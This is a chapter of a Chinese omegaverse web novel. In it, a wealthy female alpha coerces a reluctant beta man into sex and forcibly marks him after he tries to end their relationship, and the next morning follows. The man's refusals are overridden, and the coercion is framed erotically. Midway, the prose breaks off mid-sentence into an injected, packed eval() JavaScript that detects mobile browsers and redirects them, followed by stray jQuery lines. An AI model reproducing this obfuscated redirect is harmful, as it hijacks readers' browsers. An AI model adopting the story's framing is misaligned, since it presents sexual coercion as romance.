“苏小姐,我想谢谢你今天帮了涟涟。你为他出头,还帮他争到外联部副部长的位置,他肯定很高兴,很自豪。这种喜悦我无法带给他,所以真的很感谢你……”
楚修慢慢地说着,苏雅莉也没打断他。
“苏小姐,你真的……很好。”说到这他停顿了一下,像是在从贫瘠的词海里打捞最贴切的表达,“你学识高见识广,脑子灵活,交际能力又强,走到哪都镇得住场面……”
苏雅莉淡淡一笑。通常她不喜欢别人对她说太过直白的恭维语言,挺尴尬的。不过楚修的话,她勉强可以网开一面。
车窗外的路灯一盏接一盏地掠过,暖黄的光在楚修脸上投下明明灭灭的光影,他深吸一口气:“苏小姐,你的世界很精彩,有那么多有意思的人和事,随便挑一样都比我强。以后不管你有什么用得着我的地方,只要我能做到,我一定没二话。”
“但是除了那件事……我真的不适合你。”
这话说完,楚修像是耗尽了全身的力气。
他悄悄地打量苏雅莉的神情,她脸上没什么大的波动,甚至连嘴角的弧度都没变一下。
“说完了。”
“嗯……”
“我先专心开车,一会儿咱们再谈。”
她语气平静,甚至称得上是轻柔。
但楚修的心慢慢沉到了谷底。
他知道把她惹生气了。
“气场”这种东西是玄之又玄的,在这之前楚修从来没在现实生活中见识过所谓的气场。但他现在彻底明白。
一分钟之前,那个随和的、嘻笑的、在饭桌上会给他夹菜的女孩已经消失不见,仿佛覆盖在她身上的一层薄膜被撕开,露出里面那个让他恐惧的,灿烂冰冷的女人。
就像他们第一次见面一样,玛莎拉蒂驶出城区,走上了那条盘旋的山路,最终到达别墅。
苏雅莉熄了火,没立刻下车:“你以为你有资格对我说这种话?”
楚修被她冰冷的语气吓得低下头,默然不语。
她伸出手抓住他的头发,力道不算重,却十分强势,逼迫他侧过了脸:“你给我想清楚,我之所以愿意陪你那个虚荣的蠢弟弟玩游戏,表现得平易近人,是因为我想好好跟你相处,你能乖乖听我的话。而不是希望你顺杆爬,给我发好人卡戴高帽子,让我放了你。”
“你是被玩的人,被玩的是没资格叫结束的,明白了吗?”
楚修怔怔地看着她,脸孔因为她的动作而不得不微微扬起,像一颗悬在空中苍白流丽的宝石。
好久之后,他才微不可察地点了一下头。
但她的邪火并没有因为他的示弱妥协而熄灭。
不仅如此,她看着楚修的表情,心底更加涌起一股烦躁又挫败的感觉——本来她今天心情不错,气氛也不错,她其实完全不想这么说。
事情怎么就变成这样了。
生了两秒闷气后苏雅莉下车。
楚修惊魂未定地坐着不动,她几步走到副驾驶的位置,把他扯下来,楚修像应激了一样:“我不进去!”
女alpha对他的抗拒不为所动,直接俯身,手臂环住他的膝弯后背,把他抱了起来。他下意识地抬手抓住她的肩膀,呼吸急促,雪白脖颈上动脉的搏动清晰可见。
别墅里的人打开了门,又是那天的灰短发女孩:“大小姐,你回……”一看到这情景,她惊得瞪大了眼。
苏雅莉怎么又把那天的beta带回这里了?
她赶紧让开路,苏雅莉抱着楚修就往里走,没有给她一个眼神。
经过客厅时,苏雅莉明显感到楚修的身子一僵,就连脸都往她怀里侧过去。第一次给他留下的心理阴影太深,以至于他现在看到这个客厅就怕得要命。
苏雅莉把他抱上二楼的卧室,轻轻放在了床上。
男人垂着眼帘,眼角发红,一副安静落寞的模样。
她忍不住凑近他的脸,温热清新的气息喷在他的脸颊,语气中带着若有若无的诱哄:“别垂头丧气,”她握住他的膝盖窝,把他的一边腿架到自己的肩膀上,“这一次我会让你快乐。”
……(已删改)
“你都快过呼吸了,想憋死自己么,快用嘴大口喘。”
大概已经过去了挺久,恍惚间楚修感觉被人在脸上拍了两下。
而他一听到她的声音,就下意识摇头拒绝,用牙齿死咬着唇瓣,意识昏昏沉沉地吐出两个字:“不要……”
“真拿你没办法。”
苏雅莉握着楚修的腰把他翻了个身,他浑身上下汗津津的,身体因缺氧与持续的刺激崩溃地痉挛着,像条搁浅的白色美人鱼。
她在他耳畔亲了亲:
“看来还是得用点力,你才会把嘴张开。”
……
别墅二楼男人动听又可怜的动静几乎是响彻一夜。
比这更令人难以忽视的是alpha的信息素。
太浓郁了。
任何同为alpha的人感知到这股气息都会汗毛竖起,而这些信息素居然都被那个疯女人注入给了一个beta。
一楼的灰短发女孩顶着大黑眼圈,心里再次涌出对楚修的同情。
卧室里。
被折腾了一夜的楚修还在沉睡着,苏雅莉却早就醒了,她把他圈在臂弯里,感觉像抱着一块暖玉,触感温温凉凉软软滑滑,非常舒服。
她盯着他的后脖颈处。
那里被她一口一口,打上了自己的印记,充满了她秾烈强势的气息。
至少现在到未来七天,这朵小小的鸢尾花都会开在她的汪洋大海里了。
她满意地把人往自己怀里紧了紧,但这时楚修身体颤抖了一下,背对着她想要蜷缩起来,像只误入猛兽巢穴的无助幼兽。
他似乎在轻轻地说着什么梦话,于是她靠近侧耳倾听:
“妈妈……”他无意识地喃喃。
苏雅莉一愣。
她迟疑地抬手,想要拭去他眼角沁出的泪珠,但这个动作把楚修吵醒了。他宕机了几秒钟,一言不发地挣出了她的怀抱。
疼。每一寸皮肤都在扯着四肢百骸隐隐作痛。楚修一站起来,就差点又哆嗦着坐回床上。但看着窗外大亮的天,他只能急匆匆地穿戴衣物。
苏雅莉静静地看着他的动作:“别慌,再睡一会儿,现在还早。”
他头也不抬:“不行,我得上班。从这儿到市区坐地铁也得一个多小时。”
“……你都这样了还要上班?”
苏雅莉惊诧地说。
楚修本来就不怎么经得住折腾,更别提苏雅莉不管不顾地标记了他,他现在脸色苍白,虚弱的就像大病了一场。
“别去了,请个假。”苏雅莉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782109|190477||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑了笑,“你一天工资多少,大不了我十倍赔给你。”
他系衬衣扣子的手猛地一顿,长长的睫毛抬起,眼神里居然有淡淡的嘲讽。
“我还敢要你的钱么。”
这话说了楚修就感到一阵后悔。何必一大清早惹她不高兴,毕竟她发怒吃亏的人也只会是他自己。
他赶紧收拾好,准备拖着疼痛的身子溜走,苏雅莉淡淡叫住他:“那就去洗漱一下吃个早点,我待会儿叫人送你去上班。”
“不麻烦了,我回家再……”
她平静地打断他:“你多一句废话,今天就真的不用去了,咱们在床上过。”
楚修没吭声。
他老老实实地照她的话,洗漱后吃了一餐食不知味的白人饭,才走出了别墅。大门外,一辆黑色的宾利车停在路边,开车的人居然是灰短发女孩。
“哥,上车吧。”
灰短发女孩对他友好地招手。
楚修的脚步顿了一下,这女孩似乎在别墅过了夜,那这么说……他想起自己昨晚那些不受控制地哭叫和求饶,脸腾地一下就红了。
但他很快也就无奈地释然,毕竟他更糟糕的模样都被这女孩见过。
“哥,咱们慢慢开吧,大小姐特意交代我开稳点,别颠着你。”灰短发女孩笑容自然友好,一口一个哥,再不叫他叔叔了,“还没自我介绍,我叫罗宋宋,哥你呢?”
“我叫楚修,你是苏小姐的朋友吗?”心底里,楚修感觉有一丝奇怪。因为跟在苏雅莉身边的人应该也是非富即贵,怎么会被差来当司机。
罗宋宋笑呵呵地摇头:“楚哥你说笑了,我哪里称得上大小姐的朋友,顶多也就是她的小跟班,家里生产线全靠着她施舍活的那种……所以你千万别有什么心理压力,咱两本质上都是一样的,为了生活忍辱负重伺候人嘛,也不寒碜。”
楚修勉强地笑了笑,没说什么。
车辆平稳地前驶着,经过市医院时,楚修突然出声:“罗小姐,能麻烦你停一下吗,我……我去买避孕药和信息素阻隔贴。”
“哦,行。”罗宋宋停车,从后视镜里看见这个柔弱清隽的beta因为身体疼痛,而显得无比虚浮缓慢的步伐,有点不忍心,推开车门走到他身边,“楚哥我陪你吧。”
楚修推辞,但架不住罗宋宋态度坚定。
接下来,他们两人就一起接受着四面八方的审视。原因很简单,alpha的信息素大肆暴露,本来就是一种近乎挑衅的无礼行为,更别提也许还会冲撞到omega。
来来往往的愤怒眼神,本来是要全部留给楚修一个人承受的,但因为有了罗宋宋,罗宋宋就帮真正的罪魁祸首和楚修承受了这些鄙视和暗骂。
楚修非常过意不去,赶紧去拿药,没想到又碰见一个熟人,上次给他做检查的莫澧兰医生。
偌大的A市,为什么每次在他丢人现眼的时候,就变得这么小呢。
楚修想,他真是有够倒霉。
“楚先生,避孕药对身体伤害还是很大的,一定要注意这个问题。”莫澧兰提醒他。
拿上避孕药和阻隔贴,楚修和罗宋宋回到车上,罗宋宋看出他心情低落,也说不出什么安慰的话来。
从她对苏雅莉的了解,她心里隐隐约约觉得,不管这个beta愿不愿意,将来很长一段时间,苏雅莉大概都不会放过他。